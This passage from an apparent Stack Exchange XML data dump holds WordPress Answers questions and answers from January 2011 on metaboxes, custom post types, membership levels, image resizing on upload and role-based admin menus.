title in wp, bp" Tags="&lt;php&gt;&lt;functions&gt;&lt;buddypress&gt;" CommentCount="3" />
  <row Id="8071" PostTypeId="2" ParentId="8067" CreationDate="2011-01-29T20:13:48.530" Score="2" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;get_the_ID()&lt;/code&gt; or &lt;code&gt;global $post; $post-&amp;gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-29T20:13:48.530" CommentCount="3" />
  <row Id="8072" PostTypeId="2" ParentId="4975" CreationDate="2011-01-29T20:50:05.320" Score="2" ViewCount="" Body="&lt;p&gt;This is an issue that has been revisited in newer versions of multisite -- the justification for removing the ability for blog-specific admins to edit users is that user profile information is shared among blogs, so that admin is effectively editing information that would affect the user across the install. So, they've updated permissions so that only multi-site super-admins can edit user profiles by default.&lt;/p&gt;&#xA;" OwnerUserId="2786" LastActivityDate="2011-01-29T20:50:05.320" />
  <row Id="8073" PostTypeId="2" ParentId="8067" CreationDate="2011-01-29T20:56:29.897" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Joann:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating post admin metaboxes, &lt;strong&gt;the standard way to get the Post's ID in a metabox is via a &lt;code&gt;$post&lt;/code&gt; parameter in the callback function&lt;/strong&gt;. The following is a subset of the code taken &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box#Callback_args&quot; rel=&quot;nofollow&quot;&gt;from the Codex&lt;/a&gt; found the same page you posted but after I updated it to remove 2 bugs: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is self-explanitory?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('add_meta_boxes', 'myplugin_add_custom_box');&#xA;function add_my_meta_box() {&#xA;  add_meta_box('metabox_id', 'Metabox Title', 'my_metabox_callback', &#xA;      'page', 'normal', 'low');&#xA;}&#xA;function my_metabox_callback($post, $metabox) {&#xA;  echo get_post_meta($post-&amp;gt;ID,'my_custom_field',true); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-29T20:56:29.897" CommentCount="5" />
  <row Id="8074" PostTypeId="2" ParentId="3179" CreationDate="2011-01-29T21:01:46.647" Score="0" ViewCount="" Body="&lt;p&gt;I think the robots meta tags are what need adjusting. You want the spiders to go to page 2, and follow the links to your articles, but you don't want it actually indexing that page (since it will change). So in your header.php, find the &quot;robots&quot; meta tag, and change it to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;follow, &amp;lt;?php echo (get_query_var('paged')==1)?'index':'noindex'?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using a blanket robots.txt will unfortunately cause the spider to not follow the links, and not find the articles that are on the other pages. &lt;/p&gt;&#xA;" LastActivityDate="2011-01-29T21:17:13.053" />
  <row Id="8075" PostTypeId="2" ParentId="8064" CreationDate="2011-01-29T21:16:23.647" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@haha:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'admin_init'&lt;/code&gt; is definitely an\ workable way to load scripts but you might also want to take a look at this blog post and consider using the &lt;code&gt;&quot;admin_print_scripts-{$page}&quot;&lt;/code&gt; hook instead which can allow you to only load on your page when you need it and not burden the other admin pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planetozh.com/blog/2008/04/how-to-load-javascript-with-your-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How To: Load Javascript With Your WordPress Plugin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's code from the blog post, albeit modified a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$your_page = add_management_page('myplugin','myplugin',9,__FILE__,&#xA;               'yourplugin_admin_page');&#xA;add_action(&quot;admin_print_scripts-{$your_page}&quot;,'yourplugin_jquery_tabs_loader'); &#xA;function yourplugin_jquery_tabs_loader() {&#xA;  // what your plugin needs in its &amp;lt;head&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-29T21:28:19.670" LastActivityDate="2011-01-29T21:28:19.670" CommentCount="2" />
  <row Id="8076" PostTypeId="2" ParentId="8066" CreationDate="2011-01-29T21:26:33.043" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Brian:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple suggestions I have for you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are a programmer and you can adapt &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6163/commenting-in-user-profile-page/6165#6165&quot;&gt;&lt;strong&gt;this code that associates users with custom post types&lt;/strong&gt;&lt;/a&gt; you might be able to get what you need.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may also want to look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/938/plugins-to-enable-subscriptions-of-digital-assets/950#950&quot;&gt;&lt;strong&gt;membership plugins&lt;/strong&gt;&lt;/a&gt; as they may give you some of the functionality you are looking for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-29T21:26:33.043" />
  <row Id="8077" PostTypeId="1" AcceptedAnswerId="8080" CreationDate="2011-01-29T21:27:36.893" Score="0" ViewCount="515" Body="&lt;p&gt;I am currently using a plug-in called Wishlist member.  It allows you to create membership levels in WordPress.  I want to be able to display different content on a page depending on the membership level of the viewing user. Something like this - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $current_user; get_currentuserinfo(); &#xA;if ($current_user-&amp;gt;user_level == 10 ) { ?&amp;gt;&#xA;  Admin Stuff (In my case I left this blank)&#xA;&amp;lt;?php } else {   ?&amp;gt;&#xA;  Stuff Seen By Visitors&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But not just for the admin.  I have found that this plug-in create creates these for each member level &quot;wpm_access[1296320588]&quot; and &quot;wpm_level[1296320588]&quot;.  Any ideas on how I could check the current user against this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2289" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:43:04.767" LastActivityDate="2011-01-31T09:43:04.767" Title="Conditional Tags for Membership Levels when using Wishlist Member Plugin?" Tags="&lt;user-roles&gt;&lt;membership&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8078" PostTypeId="1" AcceptedAnswerId="8079" CreationDate="2011-01-29T21:50:50.717" Score="1" ViewCount="286" Body="&lt;p&gt;Say I have a custom post type called &quot;Performers&quot;. This gets populated with different bands/performers. These posts have a featured image as well as custom fields (mp3 file, facebook link, myspace link, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another custom post type called &quot;Events&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a new Event post, I would like the option to have a drop box to select one of the bands from the &quot;Performers&quot; custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will insert all data from the specific Band/Performer into the Event post (custom fields, featured image, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best method for inserting/injecting this sort of loop from the &quot;Event&quot; admin?&lt;/p&gt;&#xA;" OwnerUserId="2811" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-14T12:20:12.173" LastActivityDate="2011-02-14T12:20:12.173" Title="How to insert content from another Custom Post type into Post?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;query-posts&gt;&lt;loop&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="8079" PostTypeId="2" ParentId="8078" CreationDate="2011-01-29T21:58:18.430" Score="3" ViewCount="" Body="&lt;p&gt;Currently the best way I know to handle that is the &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Posts 2 Posts plugin&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an example showing how to set up the custom post types &lt;em&gt;(if you already have them it's more for other's benefit who might be reading this)&lt;/em&gt; as well as the function call to &lt;code&gt;p2p_register_connection_type()&lt;/code&gt; needed by the plugin to set up the post relationships. This can can go in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a &lt;code&gt;.PHP&lt;/code&gt; file for a plugin you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','event_performer_init');&#xA;function event_performer_init() {&#xA;  register_post_type('event',&#xA;    array(&#xA;      'label'           =&amp;gt; 'Events',&#xA;      'public'          =&amp;gt; true,&#xA;      'show_ui'         =&amp;gt; true,&#xA;      'query_var'       =&amp;gt; 'event',&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'events'),&#xA;      'hierarchical'    =&amp;gt; true,&#xA;      //'supports'      =&amp;gt; array('title','editor','custom-fields'),&#xA;    )&#xA;  );&#xA;  register_post_type('performer',&#xA;    array(&#xA;      'label'           =&amp;gt; 'Performers',&#xA;      'public'          =&amp;gt; true,&#xA;      'show_ui'         =&amp;gt; true,&#xA;      'query_var'       =&amp;gt; 'performer',&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'performers'),&#xA;      'hierarchical'    =&amp;gt; true,&#xA;      //'supports'      =&amp;gt; array('title','editor','custom-fields'),&#xA;    )&#xA;  );&#xA;  if ( function_exists('p2p_register_connection_type') )&#xA;    p2p_register_connection_type( 'event', 'performer' );&#xA;&#xA;  global $wp_rewrite;&#xA;  $wp_rewrite-&amp;gt;flush_rules(false);  // This only needs be done first time&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then within your theme's template file &lt;code&gt;single-event.php&lt;/code&gt; you can add code like the following to display information about each Band &lt;em&gt;(I showed the basics here; I'll leave for you to fill in all the details and/or to ask other more specific questions here on the WordPress Answers site such as if you need to know how to get the featured image, etc.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if (count($performers = p2p_get_connected($post-&amp;gt;ID))) {&#xA;    foreach($performers as $performer_id) {&#xA;      $performer = get_post($performer_id);&#xA;      echo 'The Band: ' . apply_filters('the_title',$performer-&amp;gt;post_title);&#xA;      echo 'Facebook Link: ' . get_post_meta($post-&amp;gt;ID,'facebook_link',true);&#xA;    }&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-29T22:29:40.170" LastActivityDate="2011-01-29T22:29:40.170" CommentCount="4" />
  <row Id="8080" PostTypeId="2" ParentId="8077" CreationDate="2011-01-29T22:15:01.967" Score="0" ViewCount="" Body="&lt;p&gt;there is a lot of discussion about this in wishlisMembers support forum&#xA;but the developers over there ignore it. &#xA;Any way try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the current user level from WP more important is global $user.&#xA;$user = wp_get_current_user();&#xA;&#xA;// Get user levels from WishlistMembers&#xA;$levels = WLMAPI::GetUserLevels($user-&amp;gt;ID);&#xA;&#xA;//then run the check for the level you want like this:&#xA;if(in_array('silver', $levels)){&#xA;  //  PRINT OUT THE silver LEVEL stuff here&#xA;}&#xA;elseif (in_array('gold', $levels)){&#xA;   // PRINT OUT THE gold LEVEL stuff here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-29T22:15:01.967" CommentCount="1" />
  <row Id="8081" PostTypeId="1" AcceptedAnswerId="8082" CreationDate="2011-01-29T23:16:21.277" Score="3" ViewCount="800" Body="&lt;p&gt;I have finally!! got this thing I've tried about 12 times to make and 12 different ways, but finally got it to work,... sort of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a custom metabox for uploading and attaching images to posts, and it doesn't require you to use the horrible thickbox media uploader built into WP. I hate that thing. No, what I've done is just a group of inputs (title, description, file), which you can also duplicate, to add additional attachments if you want. So you fill in the fields, select an image to upload, and save draft or publish the post. Once there are attachments added to a post, the metabox will display the input fields, along with a preview image of the attached image for each attachment you added. The title and description fields are used to generate the file meta data, nothing is saved as the post_meta, that I know of. That's currently all that I have gotten working so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to make it so that when you save/publish a post, inturn upload/create the attachment files, it will create the three image sizes as the default wp uploader would, thumbnail, medium, large, and keeping the full size image too. If that's possible somehow. If not, I would like to otherwise use add_image_size() to create/define new custom sizes, and generate them that way instead, upon uploading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure which function is the most ideal to use in this case, maybe the image_make_intermediate_size() function would be better, or wp_create_thumbnail() or wp_crop_image()... who knows!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out how to go about doing that, if I need to run the wp_handle_upload() function for each one, or maybe something involving the wp_generate_attachment_metadata() function. It's confusing to me since the 3 image sizes are to be associated as variants of the same attachment, and how to go about doing that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have scoured the web, read the source of every wp media/upload/image related file, and played with just about every function there is for the media upload stuff and cannot find how WP creates the 3 image sizes anywhere, or how to do it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In wp-includes/media.php the image_resize() function looks like it would be best since it's exactly what it should be. I just can't figure out for the life of me what the hell I'm missing or have tried doing but did wrong to make the image thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my working function that does the wp_handle_upload() stuff and things, but it also needs to create the 100px thumb, and make a resize version of the image that is max-width like 500px, and saved as new files of the uploaded one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update_attachment(){&#xA;  global $post;&#xA;&#xA;  wp_update_attachment_metadata( $post-&amp;gt;ID, $_POST['a_image'] );&#xA;&#xA;  if( !empty( $_FILES['a_image']['name'] )) { //New upload&#xA;    require_once( ABSPATH . 'wp-admin/includes/file.php' );&#xA;&#xA;    $override['action'] = 'editpost';&#xA;    $url = wp_handle_upload( $_FILES['a_image'], $override );&#xA;&#xA;    // $medium = image_make_intermediate_size( $uploaded_file['url'], 500, 400, true );&#xA;    // $thumb = = image_make_intermediate_size( $uploaded_file['url'], 100, 100, true );&#xA;&#xA;    if ( isset( $file['error'] )) {&#xA;      return new WP_Error( 'upload_error', $file['error'] );&#xA;    }&#xA;&#xA;    $array_type = wp_check_filetype&#xA;    $allowed_file_types = array('image/jpg','image/jpeg','image/gif','image/png');&#xA;&#xA;    $name_parts = pathinfo( $name );&#xA;    $name = trim( substr( $name, 0, - ( 1 + strlen( $name_parts['extension'] )) ));&#xA;&#xA;    $type = $file['type'];&#xA;    $file = $file['file'];&#xA;    $title = $_POST['a_title'] ? $_POST['a_title'] : $name;&#xA;    $content = $_POST['a_desc']&#xA;&#xA;    $post_id = $post-&amp;gt;ID;&#xA;    $attachment = array(&#xA;      'post_title' =&amp;gt; $title,&#xA;      'post_type' =&amp;gt; 'attachment',&#xA;      'post_content' =&amp;gt; $content,&#xA;      'post_parent' =&amp;gt; $post_id,&#xA;      'post_mime_type' =&amp;gt; $type,&#xA;      'guid' =&amp;gt; $url['url']&#xA;    );&#xA;&#xA;&#xA;    // Save the data&#xA;    $id = wp_insert_attachment( $attachment, $_FILES['a_image'][ 'file' ]/*, $post_id - for post_thumbnails*/);&#xA;&#xA;    if ( !is_wp_error( $id )) {&#xA;      $attach_meta = wp_generate_attachment_metadata( $id, $uploaded_file['url'] );&#xA;      wp_update_attachment_metadata( $attach_id, $attach_meta );&#xA;    }&#xA;    update_post_meta( $post-&amp;gt;ID, 'a_image', $uploaded_file['url'] );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone able to help me finally fix this so it works proper would be loved. I've spent so many ridiculous countless hours numerous different times trying to develop this thing and the documentation sucks, and there's not really any good posts anywhere on how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-30T01:02:35.317" LastActivityDate="2011-05-08T15:46:32.170" Title="How does WP media uploader create the 3 different sized images, and how can I duplicate it" Tags="&lt;images&gt;&lt;uploads&gt;&lt;attachments&gt;&lt;image-size&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" />
  <row Id="8082" PostTypeId="2" ParentId="8081" CreationDate="2011-01-29T23:51:52.783" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jaredwilli:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dude! Valiant effort, and nice work. All-in-all it could be a great addition to WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were so close, but you had somewhere between 5 and 10 little failed assumptions or code that looks like you started it but didn't get back to it because it wasn't working.  I reworked your function only as much as I needed to correct it. The solution follows, and I'll leave the side-by-side comparison to your or someone less burned-out. :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update_attachment() {&#xA;  global $post;&#xA;  wp_update_attachment_metadata( $post-&amp;gt;ID, $_POST['a_image'] );&#xA;  if( !empty( $_FILES['a_image']['name'] )) { //New upload&#xA;    require_once( ABSPATH . 'wp-admin/includes/file.php' );&#xA;&#xA;    $override['action'] = 'editpost';&#xA;    $file = wp_handle_upload( $_FILES['a_image'], $override );&#xA;&#xA;    if ( isset( $file['error'] )) {&#xA;      return new WP_Error( 'upload_error', $file['error'] );&#xA;    }&#xA;&#xA;    $file_type = wp_check_filetype($_FILES['a_image']['name'], array(&#xA;      'jpg|jpeg' =&amp;gt; 'image/jpeg',&#xA;      'gif' =&amp;gt; 'image/gif',&#xA;      'png' =&amp;gt; 'image/png',&#xA;    ));&#xA;    if ($file_type['type']) {&#xA;      $name_parts = pathinfo( $file['file'] );&#xA;      $name = $file['filename'];&#xA;      $type = $file['type'];&#xA;      $title = $_POST['a_title'] ? $_POST['a_title'] : $name;&#xA;      $content = $_POST['a_desc'];&#xA;&#xA;      $post_id = $post-&amp;gt;ID;&#xA;      $attachment = array(&#xA;        'post_title' =&amp;gt; $title,&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_content' =&amp;gt; $content,&#xA;        'post_parent' =&amp;gt; $post_id,&#xA;        'post_mime_type' =&amp;gt; $type,&#xA;        'guid' =&amp;gt; $file['url'],&#xA;      );&#xA;&#xA;      foreach( get_intermediate_image_sizes() as $s ) {&#xA;        $sizes[$s] = array( 'width' =&amp;gt; '', 'height' =&amp;gt; '', 'crop' =&amp;gt; true );&#xA;        $sizes[$s]['width'] = get_option( &quot;{$s}_size_w&quot; ); // For default sizes set in options&#xA;        $sizes[$s]['height'] = get_option( &quot;{$s}_size_h&quot; ); // For default sizes set in options&#xA;        $sizes[$s]['crop'] = get_option( &quot;{$s}_crop&quot; ); // For default sizes set in options&#xA;      }&#xA;&#xA;      $sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes );&#xA;&#xA;      foreach( $sizes as $size =&amp;gt; $size_data ) {&#xA;        $resized = image_make_intermediate_size( $file['file'], $size_data['width'], $size_data['height'], $size_data['crop'] );&#xA;        if ( $resized )&#xA;          $metadata['sizes'][$size] = $resized;&#xA;      }&#xA;&#xA;      $attach_id = wp_insert_attachment( $attachment, $file['file'] /*, $post_id - for post_thumbnails*/);&#xA;&#xA;      if ( !is_wp_error( $id )) {&#xA;        $attach_meta = wp_generate_attachment_metadata( $attach_id, $file['file'] );&#xA;        wp_update_attachment_metadata( $attach_id, $attach_meta );&#xA;      }&#xA;      update_post_meta( $post-&amp;gt;ID, 'a_image', $file['url'] );&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hey, why not splurge and get yourself a copy of &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt;? You could have easily solved this yourself, you were sooo close, if you could have just traced through the code like I now can. If you do, don't waste your time on the very buggy &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;XDEBUG&lt;/a&gt; and instead download &lt;a href=&quot;http://www.zend.com/en/products/studio/downloads&quot; rel=&quot;nofollow&quot;&gt;Zend Debugger&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. This is my former answer. I posted this before I realized what exactly Jared was asking.  It is correct, but not related to his question. :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think what you are looking for is &lt;code&gt;add_image_size()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( $size_id, $width, $height, $crop );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size('headshot', 130, 150);&#xA;add_image_size('large-headshot', 260, 300);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By setting this WordPress will create those sizes automatically.  What that what you needed?&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-30T07:40:09.700" LastActivityDate="2011-01-30T07:40:09.700" CommentCount="24" />
  <row Id="8083" PostTypeId="1" AcceptedAnswerId="8086" CreationDate="2011-01-30T00:19:58.727" Score="2" ViewCount="996" Body="&lt;p&gt;I searched high and low for a plugin that can remove/hide Admin menu items , including custom post types and taxonomies, based on user role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every one I have tried only does a global hide, not based on user role. Other more complex ones like adminize do not display custom post types or taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to write my own function or is there a simple plugin I am overlooking?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-01-30T05:27:38.343" LastActivityDate="2011-05-31T17:39:10.263" Title="Plugin to remove Admin menu items based on user role?" Tags="&lt;admin&gt;&lt;admin-menu&gt;" AnswerCount="3" />
  <row Id="8084" PostTypeId="2" ParentId="8083" CreationDate="2011-01-30T00:38:34.457" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Wyck:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can definitely appreciate your needs; I've had clients ask for the same. Unfortunately though, WordPress ties admin menu pages &lt;em&gt;(i.e. menu sections)&lt;/em&gt; and menu subpages &lt;em&gt;(i.e. menu items)&lt;/em&gt; &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;to capabilities, not to roles&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it would not be too hard to write some plugin code that allows you to assign admin menus options to roles instead; your script would set the capability required for all menu options to require a new &lt;code&gt;'not-allowed'&lt;/code&gt; capability and then have your code selectively assign the default &lt;code&gt;'read'&lt;/code&gt; capability to every menu option where the current user's role has the defined capability.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bigger question then becomes how to your represent the mapping of user roles to menu options?  I could see that requiring a pretty elaborate admin user interface. Of course if you just want to hardcode an array that defines which roles can see what, it'll be pretty easy...&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-30T00:38:34.457" CommentCount="1" />
  <row Id="8085" PostTypeId="2" ParentId="8081" CreationDate="2011-01-30T00:45:54.353" Score="0" ViewCount="" Body="&lt;p&gt;if i understand you question you need to get the list of sizes first like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image_sizes = get_intermediate_image_sizes();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this returns an array of all image sizes registered (defaults: large, medium, thumbnail , any custom size registered using &quot;add_image_size()&quot;&#xA;then all you have to do is loop trough each one of the sizes and create an image for that size like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foreach ($image_sizes as $size){&#xA;    images[] = image_make_intermediate_size($file, $size['width'], $size['height'], $crop); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace $file with the uploaded file path and $crop with true or false if you want to crop the image to the new dimensions or false to resize.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-30T01:15:34.160" LastActivityDate="2011-01-30T01:15:34.160" CommentCount="5" />
  <row Id="8086" PostTypeId="2" ParentId="8083" CreationDate="2011-01-30T00:55:26.870" Score="2" ViewCount="" Body="&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;reading mike's answer again got me thinking that you can add a new capability to a role and use that as you removal condition, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   // first add your role the capability like so&#xA;   // get the &quot;author&quot; role object&#xA;   $role = get_role( 'administrator' );&#xA;&#xA;   // add &quot;see_all_menus&quot; to this role object&#xA;   $role-&amp;gt;add_cap( 'see_all_menus' );&#xA;&#xA;   //then remove menu items based on that&#xA;   function remove_those_menu_items( $menu_order ){&#xA;            global $menu;&#xA;            // check using the new capability with current_user_can&#xA;            if ( !current_user_can( 'see_all_menus' ) ) {&#xA;             foreach ( $menu as $mkey =&amp;gt; $m ) {&#xA;                //custom post type name &quot;portfolio&quot;&#xA;                $key = array_search( 'edit.php?post_type=portfolio', $m );&#xA;                //pages menu&#xA;                $keyB = array_search( 'edit.php?post_type=page', $m );&#xA;                //posts menu&#xA;                $keyC = array_search( 'edit.php', $m );&#xA;&#xA;                if ( $key || $keyB || $keyC )&#xA;                    unset( $menu[$mkey] );&#xA;             }&#xA;            }&#xA;            return $menu_order;&#xA;    }&#xA;&#xA; //Then just Hook that function to &quot;menu_order&quot;&#xA;        add_filter( 'menu_order', 'remove_those_menu_items' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Old answer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I completely agree with what mike posted but if you're not up to custom coding&#xA;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-editor/&quot; rel=&quot;nofollow&quot;&gt;Admin Menu Editor&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it lets you set access rights by level.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-30T10:11:56.570" LastActivityDate="2011-01-30T10:11:56.570" CommentCount="2" />
  <row Id="8087" PostTypeId="1" CreationDate="2011-01-30T01:04:38.513" Score="0" ViewCount="82" Body="&lt;p&gt;I have a project which will effectively create multiple blogs that will be fed existing content (don't worry, this isn't copyrighted content from other blogs or anything like that).  From a DB management and moderator point of view, and to limit hosting costs, I would like to avoid the built in multisite functionality which requires a separate DB for each blog.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering whether, with some intelligent duct-tape hacking, it is feasible to run multiple blogs in one WordPress blog that appears as many separate blogs.  I think that Categories might be hijacked to make this work.  Basically each separate &quot;blog&quot; is a separate category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who has done this or has another, single DB multi blog approach (using WordPress)?  Words of wisdom or caution about the kind of tweak I am suggesting?&lt;/p&gt;&#xA;" OwnerUserId="2580" LastActivityDate="2011-01-30T06:11:46.753" Title="Can Categories be used to hack a Multisite-like setup w/ a single MySql db?" Tags="&lt;categories&gt;&lt;multisite&gt;&lt;mysql&gt;" AnswerCount="2" FavoriteCount="1" />
